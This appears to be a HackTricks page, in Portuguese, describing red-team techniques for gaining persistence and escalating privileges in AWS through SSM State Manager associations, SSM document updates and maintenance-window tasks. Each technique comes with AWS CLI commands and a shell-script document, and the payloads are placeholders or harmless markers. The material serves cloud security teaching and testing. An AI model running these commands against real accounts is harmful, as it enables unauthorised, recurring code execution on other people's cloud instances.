AWS - SSM Perssitence

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

SSM

Para mais informações, confira:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Usando ssm:CreateAssociation para persistence

Um attacker com a permissão ssm:CreateAssociation pode criar uma State Manager Association para executar automaticamente commands em EC2 instances gerenciadas pelo SSM. Essas associations podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistence tipo backdoor sem sessões interativas.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Este método de persistence funciona enquanto a EC2 instance for gerenciada pelo Systems Manager, o SSM agent estiver em execução, e o attacker tiver permissão para criar associations. Ele não requer interactive sessions nem permissões explícitas ssm:SendCommand. Importante: o parâmetro --schedule-expression (por exemplo, rate(30 minutes)) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita --schedule-expression completamente — a association será executada uma vez após a criação.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Um attacker com as permissões ssm:UpdateDocument e ssm:UpdateDocumentDefaultVersion pode escalar privileges modificando documents existentes. Isso também permite persistence dentro desse document. Na prática, o attacker também precisaria de ssm:ListDocuments para obter os nomes dos custom documents e, se o attacker quiser ofuscar seu payload dentro de um document existente, ssm:GetDocument também seria necessário.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Abaixo está um exemplo de documento que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar problemas com innvocation. O documento abaixo, por exemplo, usará os exemplos ssm:SendCommand e ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Um atacante com as permissões ssm:RegisterTaskWithMaintenanceWindow e ssm:RegisterTargetWithMaintenanceWindow pode escalar privilégios primeiro registrando um novo target em uma maintenance window existente e, em seguida, atualizando registrando uma nova task. Isso consegue execução nos targets existentes, mas pode permitir que um atacante comprometa compute com roles diferentes ao register novos targets. Isso também permite persistence, já que as tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o atacante também precisaria de ssm:DescribeMaintenanceWindows para obter os IDs da maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks